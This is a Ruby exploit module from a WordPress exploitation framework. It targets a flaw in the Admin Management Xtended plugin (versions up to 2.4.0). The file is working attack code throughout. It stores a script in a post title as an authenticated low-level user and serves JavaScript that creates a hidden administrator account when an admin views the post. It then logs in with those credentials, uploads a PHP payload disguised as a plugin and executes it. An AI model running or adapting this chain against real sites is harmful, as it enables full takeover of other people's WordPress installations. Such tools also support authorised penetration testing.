lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb
# frozen_string_literal: true
class Wpxf::Exploit::AdminManagementXtendedXssShellUpload < Wpxf::Module
include Wpxf
include Wpxf::WordPress::Login
include Wpxf::WordPress::Plugin
include Wpxf::WordPress::Posts
include Wpxf::WordPress::Xss
def initialize
super
update_info(
name: 'Admin Management Xtended XSS Shell Upload',
desc: 'This module exploits a lack of user level validation in versions '\
'<= 2.4.0 of the Admin Management Xtended plugin which '\
'allows authenticated users of any level to update the title of '\
'any post, which allows the module to store a script that will '\
'create a new admin user and use the new credentials to '\
'upload and execute a payload when an admin views the page.',
author: [
'Kacper Szurek', # Vulnerability discovery
'rastating' # WPXF module
],
references: [
['URL', 'http://security.szurek.pl/admin-management-xtended-240-privilege-escalation.html'],
['WPVDB', '8354']
],
date: 'Oct 27 2015'
)
register_options([
StringOption.new(
name: 'username',
desc: 'The WordPress username to authenticate with',
required: true
),
StringOption.new(
name: 'password',
desc: 'The WordPress password to authenticate with',
required: true
),
IntegerOption.new(
name: 'post_id',
desc: 'The post ID of the post to change the title of',
required: false
),
StringOption.new(
name: 'permalink',
desc: 'The permalink to the post to change the title of',
required: false
),
StringOption.new(
name: 'post_title',
desc: 'The new title to use for the post',
required: true
)
])
end
def check
check_plugin_version_from_readme('admin-management-xtended', '2.4.0.1')
end
def update_post_title(cookie, post_id, title)
execute_post_request(
url: wordpress_url_admin_ajax,
params: { 'action' => 'ame_save_title' },
body: {
'category_id' => post_id.to_s,
'new_title' => title,
'submit' => 'Change'
},
cookie: cookie
)
end
def run
return false unless super
@cookie = authenticate_with_wordpress(datastore['username'], datastore['password'])
return false unless @cookie
if datastore['post_id'].nil? && datastore['permalink'].nil?
emit_error 'Either the post_id or permalink option must be set'
return false
end
@post_id = 0
if !datastore['post_id'].nil? && !datastore['permalink'].nil?
emit_warning 'Both post_id and permalink options were specified'
emit_warning 'Ignoring permalink and using post_id'
@post_id = normalized_option_value('post_id')
elsif datastore['permalink'].nil?
@post_id = normalized_option_value('post_id')
else
emit_info 'Extracting post ID from permalink...'
@post_id = get_post_id_from_permalink(datastore['permalink'])
if @post_id.nil?
emit_error 'Failed to extract the post ID'
return false
end
end
# Success will determined in another procedure, so initialize to false.
@success = false
emit_info 'Storing script...'
emit_info xss_include_script, true
res = update_post_title(
@cookie,
@post_id,
"#{datastore['post_title']}<script>#{xss_include_script}</script>"
)
if res.nil?
emit_error 'No response from the target'
return false
end
if res.code != 200
emit_error "Server responded with code #{res.code}"
return false
end
emit_success "Script stored and will be executed when a user views the post"
start_http_server
return @success
end
def on_http_request(path, params, headers)
if params['u'] && params['p']
emit_success "Created a new administrator user, #{params['u']}:#{params['p']}"
stop_http_server
emit_info 'Removing script from post title...'
update_post_title(@cookie, @post_id, datastore['post_title'])
# Set this for #run to pick up to determine success state
@success = upload_shell(params['u'], params['p'])
return ''
else
emit_info 'Incoming request received, serving JavaScript...'
return wordpress_js_create_user
end
end
def upload_shell(username, password)
cookie = authenticate_with_wordpress(username, password)
return false unless cookie
emit_info 'Uploading payload...'
plugin_name = Utility::Text.rand_alpha(10)
payload_name = Utility::Text.rand_alpha(10)
unless upload_payload_as_plugin(plugin_name, payload_name, cookie)
emit_error 'Failed to upload the payload'
return false
end
payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
emit_info "Executing the payload at #{payload_url}..."
res = execute_get_request(url: payload_url)
if res && res.code == 200 && !res.body.strip.empty?
emit_success "Result: #{res.body}"
end
true
end
end